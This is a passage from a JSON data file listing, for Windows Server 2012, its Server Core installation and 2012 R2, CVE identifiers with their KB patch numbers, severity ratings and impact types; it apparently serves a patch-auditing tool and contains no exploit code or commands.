Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197876","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012214","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015551","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041690","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054520","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022724","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025331","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038799","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093123","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103730","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462929","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467701","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467701","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487025","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493451","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534283","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537814","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541510","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571736","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601348","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003208","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003208","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005099","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006739","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014747","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029295","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025287","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026419","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073698","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028232","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039260","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041851","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050004","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053886","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053886","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053886","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055581","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061059","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066875","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063906","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063906","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099445","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123065","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072306","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3197876","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012214","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012214","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015551","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041690","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054520","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022724","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022724","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025331","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038799","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038799","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056896","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103730","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088877","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093123","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103730","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462929","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467701","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467701","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487025","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480975","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493451","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534283","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537814","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541510","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556840","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571736","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601348","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003208","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003208","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001387","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004956","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005099","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006739","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014747","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029295","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025287","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026419","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073698","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028232","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-50868","kb":"5039260","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041851","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043125","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048699","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5050004","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053886","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053886","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053886","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055581","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058380","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058451","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061059","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066875","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062592","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063906","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063906","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-64720","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099445","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123065","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012 R2":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964444","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3010788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code 